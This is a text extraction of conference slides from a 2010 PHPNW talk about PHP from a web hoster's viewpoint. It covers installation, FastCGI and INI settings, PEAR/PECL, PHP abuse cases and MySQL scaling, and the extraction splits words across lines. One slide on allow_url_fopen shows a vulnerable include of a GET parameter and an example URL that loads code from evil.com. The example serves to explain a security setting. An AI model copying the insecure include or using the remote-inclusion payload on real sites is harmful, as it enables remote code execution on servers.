SlideShare a Scribd company logo
1 of 74
PHP
through
the
eyes
of
a
hoster




Thijs
Feryn
Support
manager
+32
(0)9
218
79
06
thijs@combellgroup.com

PHP
North
West
Conference
Sunday
October
10th
2010
Manchester
UK
About
me




I’m
the
support
manager
at
Combell
About
me




I’m
a
board
member
at
PHPBenelux
About
me


Modest
contribuTons
to:
I
live
in
the
wonderful
city
of
Bruges
    MPBecker
‐
Bruges
by
Night
hXp://www.flickr.com/photos/galverson2/3715965933
Follow
me
on
TwiXer:
@ThijsFeryn

Rate
my
talk:
hXp://joind.in/2064

Read
my
blog:
hXp://blog.feryn.eu
Chapter
I
:
The
hoster,
a
genuine
stakeholder
in
the

PHP
universe
Stakeholders

     Customer                     Development
company

  Endusers     MGMT       Devs       MGMT     Design       PM



  Internal     Internal
     IT          PM       Sales       QA     Systeam    Consultants




                 Hoster       PHP
community
Stakeholders


               Somewhere
along
the
road
...




               Your
app
needs
to
be
hosted
Goals
&
moTves

 Our
goals
&
moTves
are
the
same
as
yours:
 • It
has
to
work
 • It
has
to
perform
 • It
has
to
scale
 • It
has
to
be
secure
 • It
has
to
be
available
Chapter
II:
InstallaTon
&
configuraTon
Installing
from
source

server$
./configure
‐‐prefix=/usr/local/php‐5.2.10

‐‐with‐apxs2=/usr/local/httpd‐2.2.12/bin/apxs
‐‐
with‐zlib
‐‐with‐curl
‐‐with‐gd
‐‐enable‐mbstring

‐‐with‐mysql
‐‐with‐mysqli
‐‐enable‐pcntl
‐‐with‐
pdo‐mysql
‐‐with‐readline
‐‐enable‐soap
‐‐with‐xsl

‐‐with‐mcrypt
‐‐with‐mssql
‐‐with‐snmp
‐‐with‐imap

‐‐with‐kerberos
‐‐with‐imap‐ssl
‐‐with‐config‐
file‐path=/etc/php5/
‐‐enable‐sockets
‐‐with‐
freetype‐dir
‐‐with‐openssl


server$
make

server$
make
install
Installing
using
a
package
manager
(APT/ApTtude)

Install
PHP:
 server$
apt‐get
install
php5


Install
MySQL
library
for
PHP:

 server$
apt‐get
install
php5‐mysql
SAPI
...
schmapi

                      Mod_php           FastCGI           CLI


     Web           Apache
module        gateway            ‐


    Process        Apache
process       php‐cgi          php


 ConfiguraTon       Apache
conf
files     wrapper        on
the
fly


                                      shell
user
or

     User            Apache
user                       shell
user
                                      suexec
user
FastCGI

Example
config:
• Apache
handler
   

<IfModule
mod_fcgid.c>
   



SuexecUserGroup
dev
dev
   



PHP_Fix_Pathinfo_Enable
1
   



<Directory
/var/www/dev/www/>
   





Options
+ExecCGI
   





AllowOverride
All
   





AddHandler
fcgid‐script
.php
   





FCGIWrapper
/var/www/dev/etc/fcgi.wrapper
.php
   





Order
allow,deny
   





Allow
from
all
   



</Directory>
   

</IfModule>
FastCGI

Example
config:
• Wrapper
script
   #!/bin/sh
   PHPRC=/usr/local/php‐5.3.1/etc
   export
PHPRC
   export
PHP_FCGI_MAX_REQUESTS=5000
   export
PHP_FCGI_CHILDREN=8
   exec
/usr/local/php‐5.3.1/bin/php‐cgi
INI
seings:
tales
of
good
&
evil
INI
seings:
tales
of
good
&
evil

Defining
INI
seings:
• Php.ini
• Ini_set()
• “‐d”

• php_value
• php_flag
• php_admin_value
• php_admin_flag
INI
seings:
tales
of
good
&
evil

Memory_limit:


  Fatal
error:
Allowed
memory
size
of
16777216

  bytes
exhausted
(tried
to
allocate
35
bytes)
INI
seings:
tales
of
good
&
evil

Safe_mode
&
Open_basedir:

<IfModule
mod_php5.c>




php_admin_flag
engine
on




php_admin_flag
safe_mode
off




php_admin_value
open_basedir
"/var/www/vhosts/
website.com/httpdocs:/tmp"
</IfModule>
INI
seings:
tales
of
good
&
evil

Allow_url_fopen:

             <?php
             $lang= $_GET['lang'];
             require("$lang.php");


http://domain.ext/index.php?lang=http://evil.com/hack.txt?
Chapter
III:
Versions
&
features
PHP
4:
End
of
life,
but
far
from
dead
PHP
4:
End
of
life,
but
far
from
dead




 Parse
error:
syntax
error,
unexpected
T_STRING,

 expecting
T_OLD_FUNCTION
or
T_FUNCTION
or
T_VAR

 or
'}'
in
test.php
on
line
4
Developers
love
bling
bling
It
HAS
to
be
PHP
5.3.2
!!!
I
need
ALL
PHP
extension
!!!
I
use
ALL
PHP
features
!!!
Fruit
&
vegetables:
PEAR
&
PECL
Fruit
&
vegetables:
PEAR
&
PECL

PEAR
PHP
Extension
and
ApplicaTon
Repository
(h#p//pear.php.net)

 server$
lynx
‐source
http://pear.php.net/go‐pear
|
php

 server$
pear
install
date
Fruit
&
vegetables:
PEAR
&
PECL

PECL
(pickle)
PHP
Extension
Community
Library
(h#p//pecl.php.net)




       server$
pecl
install
pecl_http
External
frameworks


    Popular
frameworks
outside
the
PHP
project
Chapter
IV:
PHP
aXracts
a
crowd
It’s
easy
!
That
easy
!




              <?php
              echo "Hello world!";
It’s
cheap
!
It’s
stable
!
Everyone
can
be
a
PHP
developer
But
not
everyone
has
what
it
takes
Luckily
there’s
a
lot
ready‐to‐use
PHP
sooware
out
there
Who
you
gonna
call
?
But
when
helpers
need
help
...
They
reach
out
to
the
PHP
community

                                 User
Group
meeTngs




        TwiXer                               Blogs
                                  Forums
                 PHP.net



                 IRC           Conferences
Chapter
V:
Here
be
phpirates
Here
be
phpirates
Fact




 “The
majority
of
hacking/absue
cases
are
PHP
related”
False
assumpTons

                             “Open
source
is
evil”




“PHP
has
lots
of
security
vulnerabiliTes
and
is
not
mature”
Here
be
phpirates



The
real
issues
• Quality
of
the
code
• Network
&
server
security
• PHP
version
&
configuraTon
ResponsibiliTes
Chapter
VI:
Scalability
Performance
==
speed
Scalability
==
constant
speed
under
increasing
load
Scaling
up
Scaling
out
Developers
(some2mes)
forget
...
Scaling
MySQL
mysql>
explain
SELECT
field1,
(SELECT
COUNT(*)
FROM
table2
WHERE
field3
=

table1.id)
FROM
table1
WHERE
field2
=
1

ORDER
BY
field4
DESC
limit

12,12;

***************************
1.
row
***************************











id:
1


select_type:
PRIMARY








table:
table1









type:
ALL
possible_keys:
approved










key:
approved






key_len:
NULL










ref:
NULL









rows:
3143








Extra:
Using
where;
Using
filesort
***************************
2.
row
***************************











id:
2


select_type:
DEPENDENT
SUBQUERY








table:
table2









type:
ALL
possible_keys:
NULL










key:
NULL






key_len:
NULL










ref:
NULL









rows:
1005








Extra:
Using
where
mysql>
show
processlist;
+‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
|
Id



|
User
|
Host





|
db
|
Command
|
Time
|
State















|
Info




|
+‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
|
63515
|
root
|
localhost
|
db
|
Query


|



0
|
NULL
















|
show

processlist































|
|
81763
|
root
|
localhost
|
db
|
Sleep


|

105
|





















|
NULL




|
|
85187
|
root
|
localhost
|
db
|
Query


|



0
|
Sending
data








|
SELECT

data
from
someTable
where
field
=
'val'

|
|
82701
|
root
|
localhost
|
db
|
Query


|



0
|
Copying
to
tmp
table
|
SELECT

data
from
someTable
where
field='val2'


|
|
82709
|
root
|
localhost
|
db
|
Query


|



0
|
Sorting
result






|
SELECT

data
from
someTable
where
order
by
field
|
|
82716
|
root
|
localhost
|
db
|
Query


|



0
|
Opening
tables






|
SELECT

data
from
someOtherTable
















|
+‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
Scaling
MySQL
with
replicaTon
PHP
scalability
toolbox
Memcached
Gearman
Varnish
Summary
Summary

1.Hosters
are
a
genuine
stakeholder
in
the
PHP
universe
2.PHP
is
highly
flexible
&
configurable.
Hosters
have
to
ensure
a
decent

  setup
3.PHP
has
a
lot
to
offer
feature‐wise
4.PHP
aXracts
a
crowd
and
brings
a
lot
of
people
together
from

  different
industries
(e.g.
hosters)
5.Lots
of
abuse
cases
are
PHP
related,
but
that’s
not
the
fault
of
PHP

  itself
6.PHP
itself
doesn’t
scale
*that*
well,
but
is
flexible
enough
to
ensure

  scalability
via
extra
tools
Q&A
Php through the eyes of a hoster: PHPNW10

More Related Content

What's hot

PHP - History, Introduction, Summary, Extensions and Frameworks
PHP - History, Introduction, Summary, Extensions and FrameworksPHP - History, Introduction, Summary, Extensions and Frameworks
PHP - History, Introduction, Summary, Extensions and Frameworks
Royston Olivera
 
Getting started with Catalyst and extjs
Getting started with Catalyst and extjsGetting started with Catalyst and extjs
Getting started with Catalyst and extjs
Peter Edwards
 
Top 100 PHP Questions and Answers
Top 100 PHP Questions and AnswersTop 100 PHP Questions and Answers
Top 100 PHP Questions and Answers
iimjobs and hirist
 
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Michele Orru
 

What's hot (20)

01 Php Introduction
01 Php Introduction01 Php Introduction
01 Php Introduction
 
Advantages of Choosing PHP Web Development
Advantages of Choosing PHP Web DevelopmentAdvantages of Choosing PHP Web Development
Advantages of Choosing PHP Web Development
 
PHP - History, Introduction, Summary, Extensions and Frameworks
PHP - History, Introduction, Summary, Extensions and FrameworksPHP - History, Introduction, Summary, Extensions and Frameworks
PHP - History, Introduction, Summary, Extensions and Frameworks
 
Advanced PHP Web Development Tools in 2015
Advanced PHP Web Development Tools in 2015Advanced PHP Web Development Tools in 2015
Advanced PHP Web Development Tools in 2015
 
Php Dependency Management with Composer ZendCon 2016
Php Dependency Management with Composer ZendCon 2016Php Dependency Management with Composer ZendCon 2016
Php Dependency Management with Composer ZendCon 2016
 
Php
PhpPhp
Php
 
Getting started with Catalyst and extjs
Getting started with Catalyst and extjsGetting started with Catalyst and extjs
Getting started with Catalyst and extjs
 
PHP programmimg
PHP programmimgPHP programmimg
PHP programmimg
 
Top 100 PHP Questions and Answers
Top 100 PHP Questions and AnswersTop 100 PHP Questions and Answers
Top 100 PHP Questions and Answers
 
Practical catalyst
Practical catalystPractical catalyst
Practical catalyst
 
Zend expressive workshop
Zend expressive workshopZend expressive workshop
Zend expressive workshop
 
Dynamic Web Programming
Dynamic Web ProgrammingDynamic Web Programming
Dynamic Web Programming
 
Php internal architecture
Php internal architecturePhp internal architecture
Php internal architecture
 
Best Practices in PHP Application Deployment
Best Practices in PHP Application DeploymentBest Practices in PHP Application Deployment
Best Practices in PHP Application Deployment
 
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
 
PHP, PHP Developer, Hire PHP Developer, PHP Web Development, Hire PHP Program...
PHP, PHP Developer, Hire PHP Developer, PHP Web Development, Hire PHP Program...PHP, PHP Developer, Hire PHP Developer, PHP Web Development, Hire PHP Program...
PHP, PHP Developer, Hire PHP Developer, PHP Web Development, Hire PHP Program...
 
Overview of PHP and MYSQL
Overview of PHP and MYSQLOverview of PHP and MYSQL
Overview of PHP and MYSQL
 
XDebug For php debugging
XDebug For php debuggingXDebug For php debugging
XDebug For php debugging
 
php
phpphp
php
 
Php introduction
Php introductionPhp introduction
Php introduction
 

Viewers also liked

Cessez de presser le citron – gérez la capacité pour atteindre vos résultats
Cessez de presser le citron – gérez la capacité pour atteindre vos résultatsCessez de presser le citron – gérez la capacité pour atteindre vos résultats
Cessez de presser le citron – gérez la capacité pour atteindre vos résultats
PMI-Montréal
 
Deming to Devops
Deming to Devops Deming to Devops
Deming to Devops
John Willis
 
LISA 2011 Keynote: The DevOps Transformation
LISA 2011 Keynote: The DevOps TransformationLISA 2011 Keynote: The DevOps Transformation
LISA 2011 Keynote: The DevOps Transformation
benrockwood
 
Conte \"La Castanyera\"
Conte \"La Castanyera\"Conte \"La Castanyera\"
Conte \"La Castanyera\"
Veronicavm
 
The Tragic Story of Mohenjo-Daro
The Tragic Story of Mohenjo-DaroThe Tragic Story of Mohenjo-Daro
The Tragic Story of Mohenjo-Daro
Mrs. McCabe
 
Think innovation issue 4 share - scamper
Think innovation issue 4   share - scamperThink innovation issue 4   share - scamper
Think innovation issue 4 share - scamper
ThinkInnovation
 

Viewers also liked (20)

Cessez de presser le citron – gérez la capacité pour atteindre vos résultats
Cessez de presser le citron – gérez la capacité pour atteindre vos résultatsCessez de presser le citron – gérez la capacité pour atteindre vos résultats
Cessez de presser le citron – gérez la capacité pour atteindre vos résultats
 
La valeur d’affaires: L’indicateur qui peut changer le succès des projets
La valeur d’affaires: L’indicateur qui peut changer le succès des projetsLa valeur d’affaires: L’indicateur qui peut changer le succès des projets
La valeur d’affaires: L’indicateur qui peut changer le succès des projets
 
Deming to Devops
Deming to Devops Deming to Devops
Deming to Devops
 
Continuous Security: 5 Ways DevOps Improves Security
Continuous Security: 5 Ways DevOps Improves SecurityContinuous Security: 5 Ways DevOps Improves Security
Continuous Security: 5 Ways DevOps Improves Security
 
ProjectLibre1.5 - Lesson 5 - Reports
ProjectLibre1.5 - Lesson 5 - ReportsProjectLibre1.5 - Lesson 5 - Reports
ProjectLibre1.5 - Lesson 5 - Reports
 
Stop to start
Stop to startStop to start
Stop to start
 
LISA 2011 Keynote: The DevOps Transformation
LISA 2011 Keynote: The DevOps TransformationLISA 2011 Keynote: The DevOps Transformation
LISA 2011 Keynote: The DevOps Transformation
 
From Continuous Integration to DevOps - Japan Innovate 2013
From Continuous Integration to DevOps - Japan Innovate 2013From Continuous Integration to DevOps - Japan Innovate 2013
From Continuous Integration to DevOps - Japan Innovate 2013
 
Blend Elearning Real World
Blend Elearning Real WorldBlend Elearning Real World
Blend Elearning Real World
 
Skimtns by 142
Skimtns by 142Skimtns by 142
Skimtns by 142
 
Carolines Presentaion
Carolines PresentaionCarolines Presentaion
Carolines Presentaion
 
Lista Unitária de Ordenação Final Horário nº 29- Grupo de recrutamento de cód...
Lista Unitária de Ordenação Final Horário nº 29- Grupo de recrutamento de cód...Lista Unitária de Ordenação Final Horário nº 29- Grupo de recrutamento de cód...
Lista Unitária de Ordenação Final Horário nº 29- Grupo de recrutamento de cód...
 
Drinking From The Firehose
Drinking From The FirehoseDrinking From The Firehose
Drinking From The Firehose
 
Purdue Research And The Internet
Purdue Research And The InternetPurdue Research And The Internet
Purdue Research And The Internet
 
Liberarci dalle Spine
Liberarci dalle SpineLiberarci dalle Spine
Liberarci dalle Spine
 
Semicolon Cautions
Semicolon CautionsSemicolon Cautions
Semicolon Cautions
 
Conte \"La Castanyera\"
Conte \"La Castanyera\"Conte \"La Castanyera\"
Conte \"La Castanyera\"
 
Get Out Of Your Cube Evo Terra
Get Out Of Your Cube Evo TerraGet Out Of Your Cube Evo Terra
Get Out Of Your Cube Evo Terra
 
The Tragic Story of Mohenjo-Daro
The Tragic Story of Mohenjo-DaroThe Tragic Story of Mohenjo-Daro
The Tragic Story of Mohenjo-Daro
 
Think innovation issue 4 share - scamper
Think innovation issue 4   share - scamperThink innovation issue 4   share - scamper
Think innovation issue 4 share - scamper
 

Similar to Php through the eyes of a hoster: PHPNW10

Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11
Combell NV
 
2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real
PHP Conference Argentina
 
Php Inside - confoo 2011 - Derick Rethans
Php Inside -  confoo 2011 - Derick RethansPhp Inside -  confoo 2011 - Derick Rethans
Php Inside - confoo 2011 - Derick Rethans
Bachkoutou Toutou
 

Similar to Php through the eyes of a hoster: PHPNW10 (20)

Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11
 
Php through the eyes of a hoster
Php through the eyes of a hosterPhp through the eyes of a hoster
Php through the eyes of a hoster
 
Php through the eyes of a hoster confoo
Php through the eyes of a hoster confooPhp through the eyes of a hoster confoo
Php through the eyes of a hoster confoo
 
Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10
 
Northeast PHP - High Performance PHP
Northeast PHP - High Performance PHPNortheast PHP - High Performance PHP
Northeast PHP - High Performance PHP
 
PHP - Programming language war, does it matter
PHP - Programming language war, does it matterPHP - Programming language war, does it matter
PHP - Programming language war, does it matter
 
Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?
 
Effizientere WordPress-Plugin-Entwicklung mit Softwaretests
Effizientere WordPress-Plugin-Entwicklung mit SoftwaretestsEffizientere WordPress-Plugin-Entwicklung mit Softwaretests
Effizientere WordPress-Plugin-Entwicklung mit Softwaretests
 
2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real
 
The why and how of moving to php 8
The why and how of moving to php 8The why and how of moving to php 8
The why and how of moving to php 8
 
PHP Frameworks and CodeIgniter
PHP Frameworks and CodeIgniterPHP Frameworks and CodeIgniter
PHP Frameworks and CodeIgniter
 
Simplify your professional web development with symfony
Simplify your professional web development with symfonySimplify your professional web development with symfony
Simplify your professional web development with symfony
 
Php Inside - confoo 2011 - Derick Rethans
Php Inside -  confoo 2011 - Derick RethansPhp Inside -  confoo 2011 - Derick Rethans
Php Inside - confoo 2011 - Derick Rethans
 
Expressive Microservice Framework Blastoff
Expressive Microservice Framework BlastoffExpressive Microservice Framework Blastoff
Expressive Microservice Framework Blastoff
 
Php myadmin
Php myadminPhp myadmin
Php myadmin
 
PHP and FastCGI Performance Optimizations
PHP and FastCGI Performance OptimizationsPHP and FastCGI Performance Optimizations
PHP and FastCGI Performance Optimizations
 
MVC = Make Venerated Code?
MVC = Make Venerated Code?MVC = Make Venerated Code?
MVC = Make Venerated Code?
 
Php7 extensions workshop
Php7 extensions workshopPhp7 extensions workshop
Php7 extensions workshop
 
Php Frameworks
Php FrameworksPhp Frameworks
Php Frameworks
 
Joomla Code Quality Control and Automation Testing
Joomla Code Quality Control and Automation TestingJoomla Code Quality Control and Automation Testing
Joomla Code Quality Control and Automation Testing
 

More from Combell NV

2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl
Combell NV
 
2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal
Combell NV
 
2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento
Combell NV
 
2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone
Combell NV
 
2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft
Combell NV
 

More from Combell NV (20)

Play it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekeringPlay it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekering
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van Combell
 
Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?
 
Back-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanvalBack-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanval
 
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstipsCyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van Combell
 
Hoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals GoogleHoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals Google
 
Een webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessieEen webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessie
 
Hoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerceHoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerce
 
Keeping the cloud in check cvodmd
Keeping the cloud in check cvodmdKeeping the cloud in check cvodmd
Keeping the cloud in check cvodmd
 
Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012
 
2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl
 
2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal
 
2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento
 
2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone
 
10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen
 
Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012
 
Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012
 
2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft
 
11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen
 

Recently uploaded

Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Victor Rentea
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
panagenda
 

Recently uploaded (20)

Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot ModelMcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
 
Platformless Horizons for Digital Adaptability
Platformless Horizons for Digital AdaptabilityPlatformless Horizons for Digital Adaptability
Platformless Horizons for Digital Adaptability
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
Introduction to use of FHIR Documents in ABDM
Introduction to use of FHIR Documents in ABDMIntroduction to use of FHIR Documents in ABDM
Introduction to use of FHIR Documents in ABDM
 
Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)
 
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
 
[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf
 
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdfRising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
 
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 AmsterdamDEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
 
AI in Action: Real World Use Cases by Anitaraj
AI in Action: Real World Use Cases by AnitarajAI in Action: Real World Use Cases by Anitaraj
AI in Action: Real World Use Cases by Anitaraj
 
Understanding the FAA Part 107 License ..
Understanding the FAA Part 107 License ..Understanding the FAA Part 107 License ..
Understanding the FAA Part 107 License ..
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistan
 

Php through the eyes of a hoster: PHPNW10

Editor's Notes

  1. 5 minuten
  2. 10 minuten
  3. 20 minuten
  4. 25 minuten
  5. 35 minuten
  6. 40 minuten